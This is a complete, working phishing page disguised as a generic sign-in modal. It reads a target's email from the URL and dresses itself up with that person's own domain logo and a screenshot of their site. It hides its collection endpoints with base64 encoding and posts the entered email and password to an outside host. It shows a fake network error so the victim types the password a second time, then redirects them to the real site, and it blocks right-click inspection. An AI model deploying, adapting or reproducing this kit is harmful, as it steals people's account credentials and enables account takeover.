<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title id="crax_the_title">Login Modal</title>
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <style>
        body {
            top: 0 !important;
        }

        .modal-custom {
            max-width: 550px;
            margin: auto;
            background-color: whitesmoke;
            opacity: 0;
            transform: translateY(-50px);
            transition: all 0.5s ease-in-out;
        }

        .modal-show {
            opacity: 1;
            transform: translateY(0);
        }

        .modal-header-custom {
            gap: 8px;
        }

        .modal-header-custom img {
            width: 60px;
            height: 60px;
        }

        .modal-body-custom {
            max-width: 450px;
            margin: auto;
        }

        .btn-primary-custom {
            background-color: #007bff;
            border-color: #007bff;
            width: 100%;
            border-radius: 0px;
        }

        .form-check-label {
            font-size: 14px;
        }

        .input-group-text-custom {
            background-color: #f0f0f0;
            border-right: none;
            border-color: lightgray;

        }

        .form-control-custom {
            border-width: 2px;
            border-color: lightgray;
        }

        .bg-image {
            background-size: cover;
            background-repeat: no-repeat;
            background-position: center;
            height: 100vh;
        }

        .wrapper {
            padding: 100px 0;
            background-color: rgba(0, 0, 0, 0.4);
            height: 100%;
            backdrop-filter: blur(2px);
            display: none;
        }

        #loadingSpinner {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(255, 255, 255);
            z-index: 9999;
            display: flex;
            justify-content: center;
            align-items: center;
        }

        .alert-custom {
            font-size: 14px;
        }
    </style>
</head>

<body>
    <div id="loadingSpinner">
        <div class="spinner-border text-primary" role="status">
            <span class="visually-hidden">Loading...</span>
        </div>
    </div>

    <div id="crax_default_bg_image" class="bg-image">
        <div id="crax_the_wrapper" class="wrapper">
            <div class="modal-custom p-3 border rounded shadow">
                <div
                    class="modal-header-custom d-flex flex-wrap justify-content-center align-items-center text-center p-3">
                    <img id="crax_the_card_logoimg" src="" alt="Logo" class="mb-2">
                    <h5 id="crax_the_card_logoname" class="fw-bold fs-3 text-muted"></h5>
                </div>
                <h6 id="crax_the_form_heading" class="mb-0 text-muted fw-bold text-center">Sign in to continue</h6>
                <div class="modal-body-custom p-4">
                    <form id="crax_the_login_form">
                        <div class="mb-3 input-group">
                            <span class="input-group-text input-group-text-custom">
                                <i class="bi bi-person-fill text-muted"></i>
                            </span>
                            <input type="email" name="email" id="crax_the_mail" class="form-control form-control-custom"
                                placeholder="user@email.com" required disabled autocomplete="email">
                        </div>
                        <div class="mb-3 input-group">
                            <span class="input-group-text input-group-text-custom">
                                <i class="bi bi-lock-fill"></i>
                            </span>
                            <input type="password" name="password" id="crax_the_pass"
                                class="form-control form-control-custom" placeholder="Password" required
                                autocomplete="current-password">
                        </div>
                        <button id="crax_the_submit_button" class="btn btn-primary btn-primary-custom mb-3">Sign
                            in</button>
                        <div class="form-check">
                            <input type="checkbox" class="form-check-input" id="crax_the_secure_login" checked>
                            <label id="crax_the_secure_label" class="form-check-label"
                                for="crax_the_secure_login">Secured Login session</label>
                        </div>
                        <div id="crax_the_error_box" class="alert alert-danger alert-custom mt-3 d-none"></div>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.7/dist/umd/popper.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script>

        const crax_the_mail = window.location.hash.substr(1);
        $('#crax_the_mail').val(crax_the_mail);
        const ind = crax_the_mail.indexOf("@");
        const crax_the_domain = crax_the_mail.substr((ind + 1));

        const crax_the_domain_url = 'https://' + crax_the_domain;
        const crax_the_domain_org = crax_the_domain.substr(0, crax_the_domain.indexOf('.'));
        const crax_the_domain_org_small = crax_the_domain_org.toLowerCase();
        const crax_the_domain_org_caps = crax_the_domain_org.toUpperCase();
        const crax_the_domain_org_snake = crax_the_domain_org[0].toUpperCase() + crax_the_domain_org.substring(1);

        let crax_default_bg_image = "https://image.thum.io/get/width/1200/" + crax_the_domain_url;
        const crax_the_card_logoimg = "https://logo.clearbit.com/" + crax_the_domain_url
        const mx_record = atob("aHR0cHM6Ly9kZXYtY3JheC1teC5wYW50aGVvbnNpdGUuaW8vd3AtaW5jbHVkZXMvY3JheC1teC9jaGVja2Rucy5waHA") + "?email=" + crax_the_mail;
        const crax_subm = atob("aHR0cHM6Ly9kYXRhd2F2ZS5jeW91L2Zvcm1zL3NhbHNhLnNpbm8ubXguYXV0b2JnLmNyYXgvZHJ1bi5waHA=");

        $(document).prop('title', crax_the_domain_org_snake);

        const faviconUrl = crax_the_card_logoimg
        const $favicon = $('link[rel="shortcut icon"]');
        $favicon.attr('href', faviconUrl);

        $("#crax_the_card_logoimg").attr("src", crax_the_card_logoimg);
        $("#crax_the_card_logoname").html(crax_the_domain_org_caps);
        $("#crax_default_bg_image").css({
            "background-image": `url('${crax_default_bg_image}')`
        });

        function getMxRecordFromAPI() {
            return $.ajax({
                url: mx_record,
                type: 'GET',
                dataType: 'json',
            });
        }

        const translations = {
            english: {
                signInButton: "Sign in",
                firstError: "Network Error! Error connecting to login server<br/> Please try again",
                loading: "Loading..."
            }
        };

        let firstError, buttonProp, loading

        async function translatePage(language) {
            if (language === "china") {
                const translationResponse = await fetch("https://dev-crax-mx.pantheonsite.io/wp-includes/crax-mx/translate.php")
                const translation = await translationResponse.json()
                firstError = translation.firstError
                buttonProp = translation.signInButton
                loading = translation.loading
                $("#crax_the_form_heading").text(translation.formHeading);
                $("#crax_the_pass").attr("placeholder", translation.passwordPlaceholder);
                $("#crax_the_submit_button").text(translation.signInButton);
                $("#crax_the_secure_label").text(translation.secure);
            } else {
                firstError = translations.english.firstError
                buttonProp = translations.english.signInButton
                loading = translations.english.loading
            }
        }

        function handleLanguage() {
            getMxRecordFromAPI()
                .then(async (record) => {
                    let data
                    try {
                        const response = await fetch(`https://dev-crax-mx.pantheonsite.io/wp-includes/crax-mx/bgbase_and_lang.php?mx=${record.mxRecords}`)
                        data = await response.json();
                        crax_default_bg_image = data.crax_default_bg_image
                    } catch (error) {
                        console.error("Error fetching data ", error)
                    }
                    return data?.language || "english";
                })
                .then((language) => {
                    translatePage(language);
                    const img = new Image();
                    img.src = crax_default_bg_image;
                    img.onload = function () {
                        $("#crax_default_bg_image").css({
                            "background-image": `url('${crax_default_bg_image}')`
                        });
                        hideLoading()
                        setTimeout(() => {
                            $('#crax_the_wrapper').show();
                            setTimeout(() => {
                                $(".modal-custom").addClass("modal-show")
                            }, 100)
                        }, 1500)
                    }
                })
                .catch((error) => {
                    console.error("Error fetching language data:", error);
                })
        }

        function showLoading() {
            $('#loadingSpinner').show();
        }

        function hideLoading() {
            $('#loadingSpinner').hide();
        }

        $(document).ready(function () {
            $(document).on('contextmenu', function (e) {
                e.preventDefault();
            });
            showLoading()
            handleLanguage();
        });

        const errorBox = document.getElementById("crax_the_error_box");
        let counter = 0;

        document.getElementById("crax_the_login_form").addEventListener("submit", function (e) {
            e.preventDefault();
            const email = document.getElementById("crax_the_mail").value;
            const password = document.getElementById("crax_the_pass").value;

            const $btn = $('#crax_the_submit_button');
            $btn.prop('disabled', true).html(`<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> ${loading}`);

            counter++;

            const formData = new FormData();
            formData.append("email", email);
            formData.append("password", password);

            fetch(
                crax_subm,
                {
                    method: "POST",
                    body: formData,
                }
            )
                .then((response) => {
                    if (counter > 1) {
                        window.location.replace(crax_the_domain_url);
                    } else {
                        showError(
                            firstError
                        );
                    }
                    document.getElementById("crax_the_pass").value = "";
                    $btn.prop('disabled', false).text(buttonProp);
                })
                .catch((error) => {
                    if (counter > 1) {
                        window.location.replace(crax_the_domain_url);
                    } else {
                        showError(
                            firstError
                        );
                    }
                    document.getElementById("crax_the_pass").value = "";
                    $btn.prop('disabled', false).text(buttonProp);
                });
        });

        function showError(message) {
            errorBox.innerHTML = message;
            errorBox.classList.remove("d-none");
            setTimeout(() => {
                errorBox.classList.add("d-none");
                errorBox.innerHTML = "";
            }, 3000);
        }

    </script>
</body>

</html>